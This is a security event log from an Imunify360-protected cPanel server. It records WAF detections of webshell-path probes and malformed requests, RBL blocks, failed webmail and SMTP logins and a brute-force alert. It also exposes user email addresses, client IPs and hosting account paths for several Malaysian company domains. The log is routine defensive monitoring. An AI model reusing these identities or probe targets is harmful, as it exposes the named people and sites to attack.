rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.241
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/assets/css/custom.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.184
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/assets/css/pages-style.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.223.152.94
country_id: 1269750
description:
Jan 19 11:20:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.223.152.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.223.152.94
country_id: 1269750
description:
2026-01-19 11:20:50 dovecot_login authenticator failed for H=(static.bb.vda.117.223.152.94.bsnl.in) [117.223.152.94]:55501: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.129.103.139
country_id: 3923057
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/south/490/632918 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.67.61.202
country_id: 1814991
description:
Jan 19 11:23:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.67.61.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.67.61.202
country_id: 1814991
description:
2026-01-19 11:23:35 dovecot_login authenticator failed for H=(202.61.67.125.broad.gz.sc.dynamic.163data.com.cn) [125.67.61.202]:47576: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.178
country_id: 3469034
description:
Jan 19 11:27:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 19 11:27:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.152.11
country_id: 1733045
description:
Jan 19 11:27:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.152.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.11
country_id: 1733045
description:
2026-01-19 11:28:00 dovecot_login authenticator failed for H=([49.124.152.11]) [49.124.152.11]:34960: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 19 11:30:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 11:30:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64465: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 125.163.40.69
country_id: 1643084
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/press-details.php?id=107240 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.4.117
country_id: 2300660
description:
Jan 19 11:33:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.4.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.224.89
country_id: 3469034
description:
Jan 19 11:33:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.224.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.129.164.167
country_id: 3923057
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/tactics-durango-issa/cz-75-front-sight-removal.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.51.31.167
country_id: 1733045
description:
2026-01-19 11:37:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [60.51.31.167]:52580: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/img/index.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-19 11:37:55 +0800] info [webmaild] 175.144.229.115 - purchase2@evergrown,com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 11:38:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.28.19
country_id: 798544
description:
Jan 19 11:39:45 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.28.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.28.19
country_id: 798544
description:
Jan 19 11:39:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.28.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.133.187
country_id: 690791
description:
Jan 19 11:40:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.133.187 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-19 11:43:22 +0800] info [webmaild] 175.139.178.45 - payment "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid webmail user payment (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 11:43:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/druma_photos/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.26
country_id: 2750405
description:
Jan 19 11:50:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.26 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.243.133
country_id: 1733045
description:
[2026-01-19 11:51:24 +0800] info [webmaild] 27.125.243.133 - jlpom@ajplantations.com.my "POST /cpsess8792068677/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.243.13] != Current IP Address [27.125.243.133]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.44.250.38
country_id: 3625428
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=69681516689746 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.6.184
country_id: 690791
description:
Jan 19 11:52:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.6.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.35.114
country_id: 953987
description:
Jan 19 11:53:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.35.114 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/img/photos/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.105.75.236
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/training-details.php?id=721643 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.118.183.156
country_id: 3865483
description:
Jan 19 11:57:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.118.183.156 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.209.243.12
country_id: 3469034
description:
Jan 19 11:57:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.209.243.12 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 11:58:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64520: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.219.25.183
country_id: 953987
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/knock/7/479/797026 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.181.143.39
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=66 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.253
country_id: 690791
description:
Jan 19 11:58:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.253 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 69.46.65.20
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-00.69.46.65.20||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.77.104.121
country_id: 3469034
description:
Jan 19 12:00:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.77.104.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.77.104.121
country_id: 3469034
description:
Jan 19 12:00:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.77.104.121 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 70.106.21.154
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/touch/12/493/1255768 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.51.31.167
country_id: 1733045
description:
2026-01-19 12:05:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [60.51.31.167]:61903: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 12:05:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.250.213.157
country_id: 2017370
description:
Jan 19 12:06:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.250.213.157 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.250.213.157
country_id: 2017370
description:
2026-01-19 12:06:48 dovecot_login authenticator failed for H=([89.250.213.157]) [89.250.213.157]:60900: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/img/photos/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/home/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.72.200.48
country_id: 3077311
description:
Jan 19 12:10:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.72.200.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 12:10:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.139.93.60
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.8.118.140
country_id: 1269750
description:
Jan 19 12:11:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.8.118.140 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:12:19 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59048: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.216
country_id: 3175395
description:
Jan 19 12:12:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:13:00 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59049: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.216
country_id: 3175395
description:
Jan 19 12:13:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.216 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.80
country_id: 3175395
description:
Jan 19 12:13:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.80 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/druma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:14:28 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:55979: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:15:28 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:55980: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 108.165.131.119
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Candy Box/Candy - Close r1-80x80.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 108.165.131.119
country_id: 1880251
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/image/cache/catalog/Image/Products/Candy Box/Candy - Close r1-80x80.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:16:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59051: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.65.118.172
country_id: 357994
description:
Jan 19 12:17:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.65.118.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.65.118.172
country_id: 357994
description:
2026-01-19 12:17:13 dovecot_plain authenticator failed for H=(bilbism) [41.65.118.172]:38604: 535 Incorrect authentication data (set_id=sylviagooi@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:18:06 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:55983: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.52.225
country_id: 953987
description:
Jan 19 12:18:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.52.225 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/images/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:18:58 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59054: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.76.56
country_id: 3469034
description:
Jan 19 12:19:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.76.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:19:15 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59054: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.201
country_id: 953987
description:
Jan 19 12:20:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.30.83.74
country_id: 1269750
description:
Jan 19 12:20:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.30.83.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.117
country_id: 3865483
description:
Jan 19 12:20:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:21:19 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:55987: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.73.7
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-21.142.111.73.7||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/img/druma_photos/druma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:22:13 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59056: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.90.172.111
country_id: 192950
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/GnumericReader.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:23:07 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59057: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:24:34 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:56549: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:25:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:56550: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:25:43 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59058: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:26:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59060: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.125.246.116
country_id: 1733045
description:
27.125.246.116 - - [19/Jan/2026:12:26:41 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986900&pdata=https%253A%252F%252Fmail.ktlog.com.my%253A2096%252Fcpsess2049891849%252F3rdparty%252Froundcube%252F%253F_task%253Dmail%2526_mbox%253DINBOX&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768796799 HTTP/2.0" 302 0 mail.ktlog.com.my "https://mail.ktlog.com.my:2096/cpsess2049891849/3rdparty/roundcube/?_task=mail&_mbox=INBOX" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.125.246.116


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 12:26:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64580: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.26
country_id: 2750405
description:
Jan 19 12:27:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.92.240.254
country_id: 2921044
description:
2026-01-19 12:27:40 H=([91.92.240.254]) [91.92.240.254]:52948 F=<6-03-55495suffian@pspoly.com.my> rejected RCPT <6-03-55495suffian@pspoly.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:27:49 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:56553: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:27:58 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:56553: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.33.244
country_id: 3865483
description:
Jan 19 12:28:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.33.244 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.72.42.132
country_id: 3175395
description:
Jan 19 12:28:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.72.42.132 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.124.90.235
country_id: 6252001
